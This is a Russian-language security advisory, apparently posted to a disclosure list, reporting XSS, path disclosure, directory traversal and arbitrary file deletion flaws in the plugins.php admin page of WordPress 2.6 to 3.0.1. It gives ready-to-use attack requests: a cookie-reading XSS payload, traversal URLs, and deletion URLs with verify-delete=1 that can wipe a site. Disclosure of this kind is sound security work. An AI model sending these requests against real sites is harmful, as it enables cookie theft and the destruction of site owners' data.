Здравствуйте 3APA3A!
Сообщаю вам о найденных мною Cross-Site Scripting, Full path disclosure, Information Leakage, Directory Traversal, Arbitrary File Deletion и Denial of Service уязвимостях в WordPress.
Для всех этих атак нужно иметь доступ к админскому аккаунту, или иметь аккаунт с правами для работы с плагинами. Или атаковать админа или другого пользователя с необходимыми правами через XSS, чтобы узнать токен, предназначенный для защиты от CSRF атак.
Проверено в WordPress 2.0.11, 2.6.2, 2.7, 2.8, 2.9.2, 3.0.1. Версии 2.0.х неуязвимы, потому что в них нет данного функционала. К разных уязвимостям уязвимы WordPress 2.6 - 3.0.1 и потенциально предыдущие версии.
Комментируя XSS уязвимость в WordPress 3.0.1 (http://www.securityfocus.com/archive/1/513250), я указал дополнительную информацию относительно XSS уязвимости. Данные нюансы относятся и к нижеприведённым уязвимостям. Атаковать можно как через параметр checked[0], так через checked[1] и т.д., а также через checked[]. В версиях WP 2.7 и выше можно использовать параметр action=delete-selected, а в версиях 2.8 и выше можно использовать также параметр action2=delete-selected.
XSS (WASC-08):
Как я указал в вышеупомянутом письме, в WordPress 2.6.x Cross-Site Scripting атака проводится по другому. И пользы от данной XSS почти никакой.
Для атаки нужно послать POST запрос к http://site/wp-admin/plugins.php с параметрами _wpnonce равному значению токена, delete-selected равному “Delete” и checked[] равному <body onload=alert(document.cookie)>.
Уязвимы WordPress 2.6.x и потенциально предыдущие версии.
Full path disclosure (WASC-13):
Для атаки нужно послать POST запрос к http://site/wp-admin/plugins.php с параметрами _wpnonce равному значению токена, delete-selected равному “Delete” и checked[] равному "1".
Уязвимы WordPress 2.6.x и потенциально предыдущие версии.
Full path disclosure (WASC-13):
http://site/wp-admin/plugins.php?_wpnonce=e0dc6c722b&action=delete-selected&checked[]=1
http://site/wp-admin/plugins.php?_wpnonce=e0dc6c722b&action2=delete-selected&checked[]=1
Уязвимы WordPress 2.7 - 3.0.1 (для параметра action2 - 2.8 и выше).
Full path disclosure (WASC-13):
http://site/wp-admin/plugins.php
Полный путь выводится прямо на странице с плагинами.
Уязвимы WordPress 2.6 - 2.7.1.
Information Leakage (WASC-13) + Directory Traversal (WASC-33):
На странице (в списке под ссылкой Click to view entire list of files which will be deleted) выводится список файлов в текущей папке и подпапках.
В папке http://site/wp-content/plugins/:
http://site/wp-admin/plugins.php?_wpnonce=e0dc6c722b&action=delete-selected&checked[]=
http://site/wp-admin/plugins.php?_wpnonce=e0dc6c722b&action2=delete-selected&checked[]=
В папке http://site/wp-content/:
http://site/wp-admin/plugins.php?_wpnonce=e0dc6c722b&action=delete-selected&checked[]=../1
http://site/wp-admin/plugins.php?_wpnonce=e0dc6c722b&action2=delete-selected&checked[]=../1
Уязвимы WordPress 2.7 - 3.0.1 (для параметра action2 - 2.8 и выше). А также WordPress 2.6.х. В версиях 2.6.х нужно послать соответствующий POST запрос к http://site/wp-admin/plugins.php (как упоминалось выше).
Arbitrary File Deletion (WASC-42) + DoS (WASC-10):
Если послать вышеупомянутые запросы с параметром verify-delete=1, то можно удалить файлы и папки в текущей папке и подпапках. Учитывая Directory Traversal можно удалить как все плагины, так и другие файлы в других папках, в том числе можно провести DoS атаку на сайт (если удалить важные файлы WP). Например с запросом checked[]=…/…/1 можно удалить весь сайт.
http://site/wordpress-2.9.2/wp-admin/plugins.php?_wpnonce=e0dc6c722b&action=delete-selected&checked[]=../1&verify-delete=1
http://site/wordpress-2.9.2/wp-admin/plugins.php?_wpnonce=e0dc6c722b&action2=delete-selected&checked[]=../1&verify-delete=1
Уязвимы WordPress 2.7 - 3.0.1 (для параметра action2 - 2.8 и выше). А также WordPress 2.6.х. В версиях 2.6.х нужно послать соответствующий POST запрос к http://site/wp-admin/plugins.php (как упоминалось выше).
Дополнительная информация о данных уязвимостях у меня на сайте:
http://websecurity.com.ua/4575/
Best wishes & regards,
MustLive
Администратор сайта
http://websecurity.com.ua